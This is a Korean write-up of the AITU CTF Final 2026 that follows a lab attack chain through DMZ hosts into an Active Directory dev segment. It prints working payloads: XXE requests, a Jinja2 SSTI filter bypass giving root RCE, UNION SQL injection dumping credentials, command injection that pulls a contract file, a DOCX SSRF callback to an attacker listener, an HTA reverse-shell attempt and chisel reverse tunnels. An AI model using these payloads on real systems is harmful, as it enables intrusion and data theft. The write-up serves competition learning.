본문으로 건너뛰기
NEW: RSAC 2026 NHI 현장 리포트. 비인간 아이덴티티가 사이버보안의 중심축이 된 이유
블로그로 돌아가기

AITU CTF Final 2026 Writeup

2026년 4월 25-26일에 진행된 AITU CTF Final의 전체 writeup입니다. XXE, SSTI, SQLi를 통한 DMZ 호스트 공략, AD 횡적 이동을 통한 DEV 세그먼트 침투, cgroup 악용을 통한 privileged Docker 컨테이너 탈출, JWT JKU 헤더 인젝션을 통한 의료 시스템 침해까지의 전체 공격 체인을 다룹니다.

김태범
작성자
17 10,376 단어
Share:
AITU CTF Final 2026 Writeup

이 글은 2026.04.25 ~ 2026.04.26에 진행된 AITU CTF Final에 대한 writeup입니다.

먼저 오랜 기간 이번 대회를 준비하고 운영해 주신 Team fr13ends와 많은 도움을 주신 Astana IT University 관계자분들께 감사드립니다.

AITU CTF Final 은 Web + AD + Scada 형식의 리소스들이 존재하였고 이와 관련된 Bug / Risk 항목에 대해 리포트를 제출해 점수를 얻는 HackCity 형식으로 진행되었습니다.

*운영진 요청에 따라 IP 주소, 크리덴셜, 사용자명 등 식별 가능한 정보는 제거하거나 별칭으로 대체했습니다.*

대회 시작 시 각 팀에는 VPN이 제공되었고, 전체 네트워크는 대략 다음과 같은 구조였습니다.

Team VPN -> DMZ -> Corp, Dev -> SCADA

Corp 및 Dev 네트워크 세그먼트에 접근하려면 먼저 DMZ를 장악해야 합니다. 이후 Corp/Dev 구간에서 SCADA와 통신하는 워크스테이션을 찾고, 필요한 크리덴셜을 확보한 뒤, SCADA 네트워크에 접근해 HMI에서 조작된 장치 상태를 확인하는 것이 최종 목표였습니다.

따라서 Corp/Dev와 통신 가능한 DMZ 호스트를 빠르게 장악하는 것이 중요했고, 이어서 Corp/Dev 세그먼트의 DC를 통해 크리덴셜을 확보하고 내부 서비스에서 각종 아티팩트를 수집해 최종적으로 SCADA까지 도달하는 흐름으로 접근했습니다.

외부에서 접근 가능했던 주요 호스트는 다음과 같았습니다.

DMZ / perimeter (DMZ/perimeter segment)

  • pfsense (pfSense)
  • ftech.hkc (ftech.hkc)
  • careers (careers)
  • swiftdrop (SwiftDrop)
  • hackcity-ips (HackCity IPS)
  • polymarket (PolyMarket)

ftech.hkc (DMZ, DMZ/perimeter segment, DMZ/perimeter range)

pfsense (pfSense / perimeter gateway)

이 호스트는 생산적인 버그/위험 대상 중 하나가 아니었지만 도달 가능한 표면의 일부였으며 CORP 세그먼트로 향하는 가능한 경로로 확인할 가치가 있었습니다.

대상 스캔에서는 53/tcp(Unbound), 80/tcp(nginx), 2222/tcp(OpenSSH 9.7) 및 4434/tcp(ssl/http nginx)의 네 가지 노출된 서비스가 나타났습니다. 공개 이름에 대해 DNS 재귀가 작동했고, pfsense.home.arpa가 내부 pfSense 호스트 이름으로 확인되었으며, corp.kz용 AXFR이 실패했습니다. 이는 애플리케이션 호스트가 아닌 pfSense와 유사한 경계 장치를 강력히 제안했습니다.

가장 흥미로운 차선은 2222/tcp의 SSH였습니다. 인증 방법 publickey,password,keyboard-interactive를 확인했지만 전송이 불안정했고 비밀번호 인증 시도로 사용 가능한 내용은 얻지 못했습니다. 결과적으로 pfsense는 이벤트 기간 동안 해결된 체인이 아닌 식별된 경계 후보로 남아 있었습니다.

ftech.hkc (ftech-corp)

DMZ에서 가장 중요한 호스트였습니다. AI로 문제를 해결하던 중 다른 호스트에서 우선순위가 높은 취약점이 너무 많이 발견되자 AI는 이 호스트의 우선순위를 낮추고 다른 곳에 집중했습니다. 다른 호스트 중 어느 것도 내부 네트워크에 대한 경로를 제공하지 않는다는 것을 깨달은 후에야 AI는 다시 돌아와 이 호스트를 더 깊이 분석했습니다. 한참 뒤에 이 호스트가 내부 게이트웨이라는 것을 깨달았을 때는 너무 늦었습니다. :'( AI 바보!

먼저, 웹 애플리케이션은 아무런 제한 없이 XML을 허용했습니다.

document.getElementById('contactForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('email').value;
const message = document.getElementById('message').value;

const xmlData = `<?xml version="1.0" encoding="UTF-8"?>
<contact><email>${email}</email><message>${message}</message></contact>`;

fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/xml' },
body: xmlData
})
.then(response => response.text())
.then(data => {
document.getElementById('contactResponse').innerHTML = data;
});
});

이로 인해 XXE가 활성화되었습니다. Bug ftech.hkc:80 XXE / 300 pts

curl -s http://ftech.hkc/ \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<contact><name>&xxe;</name><email>A@test.com</email><message>test</message></contact>'

먼저 실행 중인 프로세스를 열거하기 위해 /proc/{fd}/cmdline를 읽었습니다.

PID명령줄찾기
1`/bin/bash /opt/deploy-landing/sources/entrypoint.sh`컨테이너 진입점
8`php-fpm: master process (/etc/php82/php-fpm.conf)`이것이 우리가 PHP가 실행되고 있다는 것을 알게 된 방법입니다
11`python3 app.py`Hidden Flask 앱(SSTI 대상)

그런 다음 nginx 구성을 검사하여 PHP 설정, gitlab-forward -> gitlab(vhost gitlab.ftech.hkc)으로의 vhost 라우팅 및 localhost:5000(admin-editor-backup.ftech.hkc)을 확인했습니다.

events {}
http {
# vhost 1: public landing (XXE-vulnerable PHP app)
server {
listen 80 default_server;
server_name ftech.hkc;
root /var/www/9f8e7d6c/build/landing;
index index.php;
}
# vhost 2: GitLab reverse proxy → DEV segment
server {
listen 80;
server_name gitlab-forward gitlab-forward.ftech.hkc gitlab.ftech.hkc;
location / { proxy_pass http://gitlab; }
}
# vhost 3: hidden admin backup app → loopback Flask
server {
listen 80;
server_name admin-editor-backup.ftech.hkc;
location / { proxy_pass http://localhost:5000; }
}
}

다음으로 /proc/self/fd/4를 통해 index.php 내용을 읽을 수 있게 되었습니다. PHP-FPM은 현재 실행 중인 파일을 파일 디스크립터로 열어두기 때문에 PHP 소스는 fd 4~10부터 읽을 수 있습니다. PHP 코드에는 다음과 같은 필터가 있습니다.

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$xml_data = file_get_contents('php://input');
$check_data = urldecode($xml_data);

// Blocklist filter (bypassable)
if (preg_match('/(dockerfile|entrypoint\.sh|nginx\.conf|index\.php|http:\/\/|https:\/\/|
ftp:\/\/|gopher:\/\/|data:\/\/|expect:\/\/|127\.0\.0\.1|localhost|0\.0\.0\.0|
\.log|\/log\/|var\/log)/i', $check_data)) {
echo "Error: Filter detected.";
exit;
}

libxml_set_external_entity_loader(function($public, $system, $context) {
// Same blocklist applied to SYSTEM entity URIs
if (preg_match('/(...same pattern...)/i', $check_sys)) {
die("Error: Filter detected.");
}
$content = @file_get_contents($system);
// ... returns content as stream
});

$dom = new DOMDocument();
if (@$dom->loadXML($xml_data, LIBXML_NOENT | LIBXML_DTDLOAD)) {
$email = $dom->getElementsByTagName('email')->item(0);
$message = $dom->getElementsByTagName('message')->item(0);
echo "Thank you, " . htmlspecialchars($email->nodeValue) . ". Your inquiry has been logged:<br><br><i>"
. nl2br(htmlspecialchars($message->nodeValue)) . "</i>";
}
}
?>

서비스 포트는 /proc/net/tcp를 통해 확인되었습니다.

주소 바인딩포트서비스
`all-interfaces`80Nginx(공개)
`localhost`9000PHP-FPM(FastCGI)
`localhost`5000숨겨진 Python/Flask 앱

그런 다음 로그인 함수에서 의도적으로 예외를 트리거하여 오류 응답으로 인해 Python 앱의 절대 경로가 유출되었습니다.

<div class="leak">Traceback: File "/var/www/9f8e7d6c/build/admin-backup/app.py", line 42, in login</div>

XXE를 통해 app.py를 읽으면 다음이 밝혀졌습니다.

from flask import Flask, request, render_template_string, redirect, url_for, session

app = Flask(__name__)
app.secret_key = '<redacted>'

@app.route('/panel', methods=['GET', 'POST'])
def panel():
if not session.get('logged_in'): return redirect(url_for('login_page'))

result = ""
if request.method == 'POST':
code = request.form.get('template', '')
code_lower = code.lower()
# WAF filter
if '.' in code or '__' in code or '"' in code or 'system' in code_lower or 'os' in code_lower:
return "Hacking attempt detected: forbidden characters or keywords blocked!", 403
result = render_template_string(code) # <-- user input rendered directly as a template

return f'''...
<textarea name="template" ...></textarea>
...
<div>{result}</div> <!-- rendered output displayed -->
...'''

엔드포인트에서는 세션 로그인 상태를 확인하므로 먼저 유출된 비밀 키를 사용하여 세션을 위조했습니다.

flask-unsign --sign --cookie '{"logged_in": true}' --secret '<redacted>'

위조된 쿠키를 이용하여 SSTI가 가능한지 확인하였습니다. Bug ftech.hkc:80 SSTI / 300 pts

curl -s http://ftech.hkc/panel \
-H "Host: admin-editor-backup.ftech.hkc" \
-H "Cookie: session=<forged_cookie>" \
-d 'template={{7*7}}'

그러나 WAF는 5가지 패턴을 차단했습니다.

차단된 패턴효과
`.`(점)`os.popen` 블록
`__`(던더)`__globals__` 블록
`"`(큰따옴표)문자열 리터럴을 차단합니다
`system``os.system()` 블록
`os``import os` 블록

이 필터를 우회하기 위해 문자열 연결(~)이 포함된 Jinja2의 attr 필터를 사용했습니다.

{{ cycler|attr('_'*2 ~ 'init' ~ '_'*2)
|attr('_'*2 ~ 'globals' ~ '_'*2)
|attr('_'*2 ~ 'getitem' ~ '_'*2)('o'~'s')
|attr('po'~'pen')('id')
|attr('read')() }}

이는 SSTI를 통해 RCE를 달성했습니다. Bug ftech.hkc:80 RCE / 400 pts

curl -s http://ftech.hkc/panel \
-H "Host: admin-editor-backup.ftech.hkc" \
-H "Cookie: session=<forged_cookie>" \
--data-urlencode "template={{ cycler|attr('_'*2 ~ 'init' ~ '_'*2)|attr('_'*2 ~ 'globals' ~ '_'*2)|attr('_'*2 ~ 'getitem' ~ '_'*2)('o'~'s')|attr('po'~'pen')('id')|attr('read')() }}"
uid=0(root) gid=0(root) groups=0(root)

이 호스트에서는 위험 관련 발견 항목이 발견되지 않았지만 Python 숨겨진 서비스 컨테이너(localhost:5000)는 호스트의 네트워크 인터페이스를 직접(Docker 브리지 아님) 사용하여 Dev 세그먼트에 연결했습니다. 이로 인해 RCE는 Dev Segment와 통신하기 위한 중심점이 되었습니다.

특히 이 호스트는 dev-dc01(88 Kerberos, 389 LDAP) 및 dev-dc02(88 Kerberos, 389 LDAP, 5985 WinRM)와의 통신을 활성화하여 중요한 피벗 호스트가 되었습니다.

careers (ftech-careers)

처음에 이 호스트는 공개 채용 공고와 DOC/DOCX 업로드 양식만 있고 업로드된 내용을 볼수 있는 경로가 존재하지 않아 가치가 낮아 보였습니다. 2일차에는 업로드된 Office 문서에서 공격자가 제어하는 ​​외부 참조를 가져오는 것을 확인했습니다.

Bug ftech-careers:80 SSRF / 300 pts

제작된 .docx 파일을 사용하여 압축을 풀고 word/_rels/document.xml.rels에 외부 이미지 참조를 추가한 후 업로드를 위해 다시 압축했습니다.

<Relationship Id="rId999"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://MY_LISTEN_IP:8888/ssrf_callback_proof.png"
TargetMode="External"/>

약 90초 내에 백엔드 문서 프로세서(85.159.27.200, curl/8.7.1)는 공격자가 제어하는 ​​리스너로부터 /ssrf_callback_proof.png를 가져와 DOCX 처리 경로에서 SSRF를 확인했습니다.

이후 VBScript -> PowerShell beacon -> TCP reverse shell를 시도한 HTA 페이로드를 제공하여 CVE-2017-0199 스타일의 문서 실행 경로를 테스트했습니다.

Bug ftech-careers:80 RCE / 400 pts

더 강한 신호는 콜백 호스트에 대한 나중에 실시간 재테스트에서 나왔습니다. 새로 업로드하면 GET /f05d1b2e.hta로 이어졌고 MSIE 7.0 / Trident 사용자 에이전트를 사용하여 동일한 백엔드에서 GET /c2d91c6a.hta 요청이 반복되었으며 이전 프로브에서는 MSOffice 16가 원격 콘텐츠를 가져오는 것으로 나타났습니다. 이는 업로드 경로가 단순한 서버 측 curl 스타일 가져오기를 넘어 Windows/Office 문서 열기 워크플로에 도달했음을 의미합니다. 리버스 쉘 자체는 안정화되지 않았지만 이는 여전히 커리어 호스트에서 채점하는 데 사용되는 RCE 보고서 카테고리였습니다.

대회가 끝난 후 주최측은 이 호스트가 실제로 Corp Network(ftech.local) 내부에 있음을 확인했습니다. :'(

swiftdrop (swiftdrop)

SwiftDrop은 Nginx 뒤에서 실행되는 Flask 애플리케이션이었습니다. 기본 자격 증명 D@swiftdrop.com:<redacted>가 소스 코드에 노출되어 즉시 로그인이 가능해졌습니다.

로그인 시 앱은 /api/auth/account/1를 호출하여 사용자 정보를 가져옵니다. /api/auth/account/2에 직접 액세스하면 관리자 정보가 드러났습니다.

  • Bug swiftdrop:80 IDOR / 100 pts

/api/auth/account/2```json { "email": "A@swiftdrop.com", "id": 2, "name": "Admin User", "note": "dev portal accessible at dev-preprod-bba25ef3de635b9.swiftdrop.com", "phone": "+7 700 999 00 00" }


`note` 필드가 핵심입니다. 이는 `dev-preprod-bba25ef3de635b9.swiftdrop.com`에 개발 포털이 존재함을 나타냅니다. 해당 호스트 헤더가 포함된 요청을 보내면 프로덕션 사이트와 다른 "개발 환경" 페이지가 반환되었습니다. 최종 아키텍처는 다음과 같습니다.

Swiftdrop:80(Nginx)
|- default / Swiftdrop.com -> main-app:5000 (메인앱, prod)
\\- dev-preprod-bba25ef3de635b9.swiftdrop.com -> dev-app:5000 (dev-app)

`/api/v1/track?q=` 쿼리 끝점에서 통합 기반 SQL 주입이 가능했습니다. 코드에서 볼 수 있듯이 dev 앱과 prod 앱 사이에는 차이가 있었습니다.

Prod frontend JS (line 882 in prod source): const d = await api(${API}/track/${encodeURIComponent(val)}); // calls: /api/v1/track/SD-2024-884721 (path parameter, returns JSON)

Dev frontend JS (line 273 in dev HTML): const r = await fetch(${API}/track?q=${encodeURIComponent(val)}); const html = await r.text(); // calls: /api/v1/track?q=SD-2024-884721 (query parameter, returns HTML)


쿼리 매개변수에 대해 SQL 주입을 실행하면 다음과 같은 결과가 나타납니다.```bash
# UNION injection (6 columns: id, number, origin, dest, status, notes)
curl -s "http://swiftdrop/api/v1/track?q=' UNION SELECT id,email,name,phone,password,'x' FROM users--" \
-H "Host: dev-preprod-bba25ef3de635b9.swiftdrop.com"
1:D@swiftdrop.com:<redacted>
2:A@swiftdrop.com:<redacted>
13:D2@kheshig.test:<redacted>
36:AD@swiftdrop.com:<redacted>

이로 인해 직접적인 자격 증명이 공개되었습니다. Bug swiftdrop:80 SQLi / 300 pts

다음으로 SQLi 결과의 id 필드에서 SSTI가 발생한 것을 확인했습니다.

curl -s "http://swiftdrop/api/v1/track?q=' UNION SELECT '{{7*7}}','','','','',''--" \
-H "Host: dev-preprod-bba25ef3de635b9.swiftdrop.com"
# Returns: 49
curl -s "http://swiftdrop/api/v1/track?q=' UNION SELECT '{{config.SECRET_KEY}}','','','','',''--" \
-H "Host: dev-preprod-bba25ef3de635b9.swiftdrop.com"
# Returns: <redacted>

이는 서버 측 템플릿 삽입을 확인했습니다. Bug swiftdrop:80 SSTI / 400 pts

또한 SSTI 버그로 인해 RCE가 활성화되었습니다.

# Execute 'id'
curl -s "http://swiftdrop/api/v1/track?q=' UNION SELECT '{{cycler.__init__.__globals__.os.popen(\"id\").read()}}','','','','',''--" \
-H "Host: dev-preprod-bba25ef3de635b9.swiftdrop.com"
# Returns: uid=0(root) gid=0(root) groups=0(root)

# Read /etc/passwd
curl -s "http://swiftdrop/api/v1/track?q=' UNION SELECT '{{cycler.__init__.__globals__.os.popen(\"cat /etc/passwd\").read()}}','','','','',''--" \
-H "Host: dev-preprod-bba25ef3de635b9.swiftdrop.com"

이를 통해 main-app(main-app) 및 dev-app(dev-app)이라는 두 개의 컨테이너가 실행되고 있음을 확인했습니다. Bug swiftdrop:80 RCE / 400 pts

RCE를 통해 main-app:5000(메인앱) 소스코드에 노출된 내부 API 경로를 발견했습니다. (curl http://dev-app:80,443,3000,5000,8000,8080,8443를 조사하여 포트 5000을 찾았습니다.)

@app.route("/internal/diagnostics", methods=["GET", "POST"])
def internal_diagnostics():
output = ""
host = ""
if request.method == "POST":
host = request.form.get("host", "").strip()
if host:
try:
result = subprocess.run(
f"ping -c 2 {host}", # <-- unsanitized shell injection
shell=True,
capture_output=True,
text=True,
timeout=10,
)
output = (result.stdout + result.stderr).strip()
except subprocess.TimeoutExpired:
output = "Request timed out."
return render_template_string(DIAG_HTML, output=output, host=host)

ping 명령은 명령 주입에 취약하여 메인 앱 호스트에서 RCE를 활성화합니다.

탐색하는 동안 위험 과제 중 하나인 /app/contracts에서 contract_hackcity_shipping_2026.pdf를 발견했습니다. Risk: Leak of confidential data: secret company contracts / 5000 pts

curl http://main-app:5000/internal/diagnostics \
-d 'host=localhost;base64 /app/contracts/contract_hackcity_shipping_2026.pdf'

아키텍처를 요약하면 다음과 같습니다.

swiftdrop |- main-app (main-app: xxe, command injection) \\- dev-app (dev-app: ssti, sql 주입, rce)

hackcity-ips (hackcity-dmz)

전체 재시도 검색 결과 이 ​​호스트에는 2222/tcp8080/tcp만 열려 있는 것으로 나타났습니다. 공개 웹 표면에는 /diagnostics, /status/diagnostics/bundle가 노출되었습니다.

인증되지 않은 진단 번들

번들 다운로드 엔드포인트는 인증 없이 액세스할 수 있었고 공격자가 제어하는 ​​request_idvendor 값을 허용했습니다.

curl -s "http://hackcity-dmz:8080/diagnostics/bundle?request_id=HC-2015&vendor=streetlight-labs" -o bundle.zip

동일한 엔드포인트가 공개 상태 페이지에 표시되는 다른 공급업체/티켓 쌍에 대한 번들도 반환했음을 확인했습니다. 이는 IDOR 스타일 이슈로 제출되었지만 승인되지 않았습니다.

노출된 번들 콘텐츠는 다음을 공개했기 때문에 여전히 중요합니다.

  • tcp/2222의 계약자 요새 서비스
  • 임시 계정 명명 규칙 ctr-<vendor-slug>
  • 내부 작업자 ID opsrelay
  • /opt/hackcity/bin/incidentscan.py, /opt/hackcity/bin/incident-enricher.sh 등 사고 처리 경로

이는 점수가 매겨진 보고서가 아니었음에도 불구하고 HackCity DMZ 액세스 파이프라인의 실제 운영 지도를 제공했습니다.

CRLF / 응답 분할

/diagnostics/bundlerequest_id 매개변수는 삭제 없이 응답 헤더에 반영되었습니다.

Bug hackcity-dmz:8080 CRLF / Response Splitting / Unscored

curl -v "http://hackcity-dmz:8080/diagnostics/bundle?request_id=HC-2015%0d%0aSet-Cookie:%20admin=true&vendor=streetlight-labs"

이로 인해 HTTP Smullging 이 가능하여 요청을 쪼개서 내부에 요청을 보낼 수 있었습니다. 응답 헤더에 주입된 Set-Cookie 콘텐츠를 확인했지만 SSRF, Cache Poison 또는 RCE 같은 더 큰 영향을 미치는 체인을 완료하지 못했습니다.

tcp/2222에 대한 SSH 후속 조치

가장 흥미로운 후속 경로는 2222/tcp의 계약자 요새였습니다. 공개 문서에서 ctr-streetlight-labs, ctr-metro-access, ctr-field-enablementopsrelay와 같은 후보 사용자 이름을 파생했습니다.

admin123dev-secret-do-not-expose를 포함한 동일한 체인 후보를 사용하여 저잡음 자격 증명 재사용을 시도했지만 사용 가능한 SSH 기반을 확보하지 못했습니다. 결과적으로 이 호스트는 정찰 능력이 풍부했지만 이벤트 중에 성공적이진 않았습니다.

polymarket (polymarket)

PolyMarket은 예측 시장 웹 애플리케이션이었습니다.

첫 번째 취약점은 임의 파일 공개를 허용하는 도움말 페이지의 GET /download?id= 엔드포인트에 있었습니다. Bug polymarket:80 Path Traversal / LFI / 200 pts

curl -s "http://polymarket/download?id=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
f13:x:1000:1000:f13:/home/f13:/bin/bash
marketweb:x:998:998::/home/marketweb:/usr/sbin/nologin
marketops:x:997:997::/home/marketops:/bin/bash

/etc/passwd에서 marketops 계정을 식별했고 /home/marketops/.bash_history에서 작업 디렉토리를 찾았습니다.

systemctl status polymarket-engine.service
systemctl cat polymarket-engine.service
sha256sum /opt/polymarket/bin/market-engine
file /opt/polymarket/bin/market-engine
curl -s http://localhost:9091/healthz

기록을 보니 등록된 시스템 서비스가 나와 있어서 서비스 파일을 살펴봤습니다.

/etc/systemd/system/polymarket.service``` [Unit] Description=Civic Risk Exchange settlement mirror engine After=network.target

[Service] User=marketops Group=marketops WorkingDirectory=/opt/polymarket ExecStart=/opt/polymarket/bin/market-engine serve --listen localhost:9091 Restart=always RestartSec=2 NoNewPrivileges=true PrivateTmp=true

[Install] WantedBy=multi-user.target


바이너리는 localhost:9091에서 실행 중이었습니다. polymarket-engine-{api,web,worker}.service와 같은 추가 서비스를 검색하는 동안 웹 프런트엔드를 찾았습니다.

`/etc/systemd/system/polymarket-web.service````
[Unit]
Description=Civic Risk Exchange web frontend
After=network-online.target polymarket-engine.service
Wants=network-online.target polymarket-engine.service

[Service]
Type=simple
User=marketweb
Group=marketweb
EnvironmentFile=/opt/polymarket/.env
ExecStart=/opt/polymarket/bin/polymarket-web-entrypoint.sh
Restart=always
RestartSec=2
NoNewPrivileges=true
PrivateTmp=true
AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
RuntimeDirectory=polymarket
RuntimeDirectoryMode=0700
LogsDirectory=polymarket
LogsDirectoryMode=0750

[Install]
WantedBy=multi-user.target

/opt/polymarket/bin/polymarket-web-entrypoint.sh```sh #!/usr/bin/env bash set -euo pipefail if [[ -z "${POLYMARKET_STATE_SECRET:-}" ]]; then echo "POLYMARKET_STATE_SECRET is required" >&2 exit 1 fi RUNTIME_DIR="/run/polymarket" ENV_FILE="${RUNTIME_DIR}/runtime.env" APP_ROOT="/opt/polymarket/app" PUBLIC_DOCS_BASE="/opt/polymarket/data/public_docs" LOG_FILE="/var/log/polymarket/app.log" mkdir -p "${RUNTIME_DIR}" /var/log/polymarket touch "${LOG_FILE}" chmod 0600 "${LOG_FILE}" cat >"${ENV_FILE}" <<EOF POLYMARKET_STATE_SECRET=${POLYMARKET_STATE_SECRET} EOF chmod 0400 "${ENV_FILE}" unset POLYMARKET_STATE_SECRET cd "${APP_ROOT}" exec env -i \ PYTHONUNBUFFERED=1 PYTHONDONTWRITEBYTECODE=1 LANG=C.UTF-8 LC_ALL=C.UTF-8 \ PATH=/opt/polymarket/venv/bin:/usr/bin:/bin HOME=/tmp \ POLYMARKET_ENV_FILE="${ENV_FILE}" POLYMARKET_APP_ROOT="${APP_ROOT}" \ POLYMARKET_STATIC_ROOT="${APP_ROOT}/static" POLYMARKET_PUBLIC_DOCS_BASE="${PUBLIC_DOCS_BASE}" \ POLYMARKET_LOG_FILE="${LOG_FILE}" POLYMARKET_RUNTIME_DIR="${RUNTIME_DIR}"


`/run/polymarket/runtime.env`는 `blocked_prefixes`에 의해 차단되었기 때문에 `/proc/self/root/run/polymarket/runtime.env`로 우회했습니다.

POLYMARKET_STATE_SECRET=<redacted>


이 호스트의 과제는 `Buying a critical company report`였습니다. `CREX-IR-2026-041` 보고서를 구매하기 위해 제 보유 금액을 크게 만드는 것이었습니다. 핵심은 Payout 시, 언더플로우를 유발하는 것이었습니다. Payout 값을 -1(서명된 int32)로 만들어 4294967295(uint32)로 래핑하는 것입니다.

먼저 `/opt/polymarket/bin/market-engine` 바이너리를 다운로드하여 분석했습니다. 바이너리는 웹에서 `market_pass` 쿠키를 재위조할 수 있습니다. 내 등급을 기본값에서 2의 리베이트가 적용되는 `market-maker`로 변경했습니다.

./market-engine sign --secret "<redacted>" --tier market-maker


전반적인 지불금 언더플로우 전략:

settlement_delta = entry_price - settlement_price # 100 - 99 = 1 payout_adjustment = settlement_delta - rebate_cents # 1 - 2 = -1 (signed int32)


그러나 모든 시장이 언더플로우를 유발하는 것은 아닙니다. 특정 조건이 충족되어야 합니다.

1. 시장은 Settled 상태에 있어야 합니다.
2. 시장은 replay-tradable 가능해야 합니다(not read-only).
3. Entry Price 가 정확히 99센트여야 합니다.

단 하나의 시장만이 이러한 기준을 충족했습니다: `virginia-redistricting-referendum`. 이 시장에서 거래함으로써 지불금 언더플로우가 완료되어 잔액을 약 40억으로 부풀려졌고 분류된 보고서가 `/api/operator/vault`를 통해 검색되었습니다.

{ "ok": true, "result": { "report_id": "CREX-IR-2026-041", "title": "Settlement anomaly on mirrored archive venue", "severity": "critical", "summary": "A replay account exceeded the treasury safety threshold after obtaining an institutional settlement rebate on the archived referendum market.", "trigger_account": "civic-dbd854a4", "trigger_balance_cents": 4337917117950, "suspected_root_cause": "The settlement engine accepts a signed market pass carrying the user tier and later converts a signed settlement edge into an unsigned value before clamping.", "affected_components": [ "archive downloader", "market-engine pass verifier", "settlement edge conversion" ], "latest_position": { "id": "4c2acdb7083e451790c87d0b02d5d698", "market_id": "virginia-redistricting-referendum", "market_title": "Will the Virginia redistricting referendum pass?", "side": "YES", "stake_cents": 100000, "entry_price_cents": 99, "end_price_cents": 99, "effective_edge_cents": 4294967295, "bonus_cents": 4337916967950, "credit_cents": 4337917067950, "status": "settled", "won": true }, "expected_report_sections": [ "initial file-read path to internal artefacts", "reverse-engineering notes for pass signing and tier handling", "forged market-maker pass construction", "pricing and settlement underflow explanation", "business impact and persistence considerations" ] } }


이로써 기밀 보고서가 검색되었습니다. `Risk: Buying a critical company report / 7500 pts`

---

## dev.ftech.local (Dev, DEV segment, DEV range)

첫째, ftech.hkc에서 얻은 RCE를 활용하여 DEV 세그먼트 호스트를 매핑해야 했습니다. XXE를 통해 컨테이너 내부에서 `/etc/hosts`, `/etc/krb5.conf`, `/etc/resolv.conf`, `/proc/11/net/tcp`를 읽어 DEV 세그먼트의 존재와 호스트 맵을 확인했습니다.

**`/etc/hosts`**(XXE 파일 읽기):

| 호스트 | 호스트 이름 | FQDN |
|------|----------|------|
| dev-dc01 | dev-dc01, DEV-DC01 | dev-dc01.dev.ftech.local |
| dev-dc02 | dev-dc02, DEV-DC02 | dev-dc02.dev.ftech.local |
| SQL | SQL, SQL | SQL.dev.ftech.local |
| backup | backup, BACKUP | Backup.dev.ftech.local |
| vault | vault, VAULT | Vault.dev.ftech.local |

**`/etc/krb5.conf`**(XXE 파일 읽기):

[libdefaults] default_realm = DEV.FTECH.LOCAL dns_lookup_realm = false dns_lookup_kdc = false

[realms] DEV.FTECH.LOCAL = { kdc = dev-dc01 kdc = dev-dc02 admin_server = dev-dc01 }

[domain_realm] .dev.ftech.local = DEV.FTECH.LOCAL dev.ftech.local = DEV.FTECH.LOCAL


이를 통해 `DEV.FTECH.LOCAL` 도메인이 dev-dc01(기본 KDC) 및 dev-dc02(보조 KDC)에 DC와 함께 존재함을 확인했습니다. `resolv.conf` 네임서버도 dev-dc01이었습니다.

또한 ftech.hkc 컨테이너에서 `/proc/11/net/tcp`(PID 11 = python3 `app.py` 프로세스)를 구문 분석하여 활성 TCP 연결을 DEV 세그먼트 호스트에 매핑했습니다.

| 호스트 | 호스트 이름 | 열린 포트 | 역할 |
|------|----------|------------|------|
| dev-dc01 | dev-dc01 | 88, 135, 139, 389, 593, 3389 | 도메인 컨트롤러(기본) |
| dev-dc02 | dev-dc02 | 80, 88, 135, 139, 389, 445, 3389, 5985 | 도메인 컨트롤러(보조) |
| SQL | SQL | 80, 135, 139, 1433, 3389 | MSSQL 서버 |
| 백업 | 백업 | 80, 135, 139, 3389 | 백업 서버 |
| 금고 | 금고 | 80, 135, 139, 3389, 5985 | Vault 서버 |
| 알 수 없는 개발 서비스 | (이름 없음) | 80, 389, 443, 445, 1433, 5985 | 알 수 없음 |
| 아이탑 | (이름 없음) | 80 | 웹 서비스 |
| gitlab | gitlab | 80 | GitLab |
| hackcity-medical | (이름 없음) | 80 | HackCity 헬스케어 |
| n8n-share | n8n-share | 80 | n8n + 파일공유 |
| unknown-dev-web | (이름 없음) | 80 | 웹 서비스 |

#### 피벗 설정

ftech.hkc에서 DEV 세그먼트로 피벗하기 위해 chisel reverse tunnel을 사용했습니다. 치즐 클라이언트는 ftech.hkc에서 콜백 호스트(callback-host)로 실행되었으며 콜백 호스트에 포트 전달이 구성되어 DEV 세그먼트 서비스에 액세스했습니다.

| 로컬 포트(콜백) | 대상 | 서비스 |
|------------|---------|---------|
| 1088 | dev-dc02:88 | Kerberos |
| 1389 | dev-dc01:389 | LDAP(DC01) |
| 2389 | dev-dc02:389 | LDAP(DC02) |
| 1445 | dev-dc02:445 | SMB |
| 15985 | dev-dc02:5985 | WinRM |

### dev-dc01 (dev-dc01, DEV.FTECH.LOCAL 도메인 컨트롤러)

| 필드 | 가치 |
|-------|-------|
| 호스트 | dev-dc01 |
| 호스트 이름 | dev-dc01 |
| 세그먼트 | DEV |
| 도메인 | dev.ftech.local |
| 서비스 | Kerberos/88, RPC/135, SMB/139, LDAP/389, RPC/593, RDP/3389 |

이 호스트는 DEV 도메인의 기본 도메인 컨트롤러입니다. 직접적으로 악용되지는 않았지만 LDAP 열거, Kerberos 인증 및 NETLOGON 공유 액세스를 통해 다른 호스트를 손상시키기 위한 필수 정보를 제공했습니다.

#### LDAP RootDSE 쿼리

콜백 호스트에서 치즐 역방향 터널을 통해 익명 LDAP rootDSE 쿼리가 수행되었습니다.

ldapsearch -x -H ldap://callback-host:1389 -s base -b "" "(objectclass=*)" \ defaultNamingContext rootDomainNamingContext dnsHostName


| 필드 | 가치 |
|-------|-------|
| dnsHostName(DC01) | DEV-DC01.dev.ftech.local |
| dnsHostName(DC02) | DEV-DC02.dev.ftech.local |
| defaultNamingContext | DC=개발자,DC=ftech,DC=local |
| rootDomainNamingContext | DC=ftech,DC=local |
| Forest Root | ftech.local |

`DC=ftech,DC=local`인 `rootDomainNamingContext`는 중요합니다. 이는 DEV 도메인이 `ftech.local` 포리스트의 하위 도메인임을 의미합니다.

#### AD LDAP 열거

Kerberos TGT를 얻은 후(아래 설명된 n8n-share -> sql 자격 증명 체인을 통해) 인증된 LDAP 쿼리는 56개의 도메인 계정을 열거했습니다.

